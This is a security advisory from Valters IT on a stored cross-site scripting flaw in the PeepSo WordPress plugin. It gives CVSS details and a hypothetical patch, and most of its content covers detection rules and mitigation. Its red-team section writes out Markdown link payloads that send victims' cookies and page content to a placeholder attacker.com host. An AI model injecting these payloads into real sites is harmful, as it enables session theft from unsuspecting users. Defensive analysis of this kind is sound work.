CVE-2024-9873

Executive Summary

CVE-2024-9873 is a Stored Cross-Site Scripting (XSS) vulnerability in the Community by PeepSo WordPress plugin, affecting versions up to and including 6.4.6.1. The flaw resides in the handling of URLs within posts, comments, and user profiles when Markdown support is enabled. Due to insufficient input sanitization and output escaping, an authenticated attacker with Subscriber-level access or higher can inject arbitrary web scripts. These scripts execute whenever a victim user accesses the compromised page, leading to session hijacking, credential theft, or defacement. The vulnerability is in the WordPress ecosystem and is not related to Apache or Nginx.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs Subscriber-level access.
• User Interaction (UI): Required (R) – Victim must visit the injected page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited content manipulation.
• Availability (A): None (N) – No impact on availability.

CVSS Score: 5.4 (Medium)
Threat Level: Medium – Exploitation requires authentication but can lead to persistent compromise of user sessions.

Deep Dive & Mechanics

The vulnerability is triggered when Markdown support is enabled in PeepSo. The plugin fails to properly sanitize URLs entered in posts, comments, or profile fields. An attacker can craft a malicious URL containing JavaScript payloads, such as:

[Click here](javascript:alert('XSS'))

When the Markdown parser renders this link, the javascript: scheme is not filtered, and the script executes in the context of the victim's browser. The stored nature means the payload persists until manually removed.

Root Cause: The plugin uses a Markdown library that does not escape or validate URL schemes, combined with insufficient output escaping in the WordPress context.

Vulnerable vs. Patched Code

Vulnerable Code (PeepSo <= 6.4.6.1):

// In Markdown parsing function
function peepso_markdown_parse($text) {
    // Uses a Markdown parser that does not sanitize URLs
    $parsed = Markdown($text);
    return $parsed;
}

Patched Code (Hypothetical fix):

function peepso_markdown_parse($text) {
    // Sanitize URLs before parsing
    $text = preg_replace('/\[([^\]]*)\]\((javascript|data|vbscript):/i', '[$1](#)', $text);
    $parsed = Markdown($text);
    return esc_html($parsed); // Escape output
}

The patch would strip dangerous URL schemes and escape the final output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with PeepSo plugin <= 6.4.6.1.
• Attacker account with Subscriber role or higher.
• Markdown support enabled in PeepSo settings.

Exploitation Steps:

1. Log in as a Subscriber.
2. Create a new post or comment.
3. Insert a Markdown link with a JavaScript payload:

   [Click me](javascript:document.location='http://attacker.com/steal.php?cookie='+document.cookie)
   

4. Publish the content.
5. Any user viewing the post/comment will have their cookies exfiltrated.

Alternative Payload:

[Profile](javascript:fetch('http://attacker.com/log?data='+btoa(document.body.innerHTML)))

Blue Team

Detection:

• Monitor for posts/comments containing javascript: or data: URLs in Markdown syntax.
• Use WAF rules to block javascript: in user input.
• Enable Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Disable Markdown support in PeepSo settings if not required.
• Apply input validation to strip dangerous URL schemes.
• Update to a patched version when available.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin-ajax.php with payloads containing javascript: in Markdown links.
• File: Modified posts/comments in the wp_posts table with [text](javascript:...) patterns.
• Log: WordPress debug logs showing wp_kses or esc_url failures.
• Browser: Console errors from blocked CSP directives.

Detection Engineering

YARA Rule

rule CVE_2024_9873_PeepSo_XSS {
    meta:
        description = "Detects stored XSS payloads in PeepSo Markdown URLs"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-9873"
    strings:
        $markdown_link = /\[.*\]\(javascript:.*\)/
        $markdown_data = /\[.*\]\(data:.*\)/
    condition:
        any of them
}

Sigma Rule

title: PeepSo Stored XSS via Markdown URLs
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject JavaScript via Markdown links in PeepSo
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains:
            - 'javascript:'
            - 'data:'
        http.method: 'POST'
        http.body|contains: 'peepso'
    condition: selection
falsepositives:
    - Legitimate use of data URIs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9873 PeepSo Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"peepso"; http_client_body; pcre:"/\[.*\]\((javascript|data):/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable Markdown support in PeepSo settings (PeepSo > Markdown).
2. Short-term: Implement a WAF rule to block javascript: and data: schemes in user input.
3. Long-term: Apply input validation and output escaping in the plugin code. Monitor for official patches.
4. User Education: Advise users not to click suspicious links in posts/comments.

Valters IT
Securing Digital Frontiers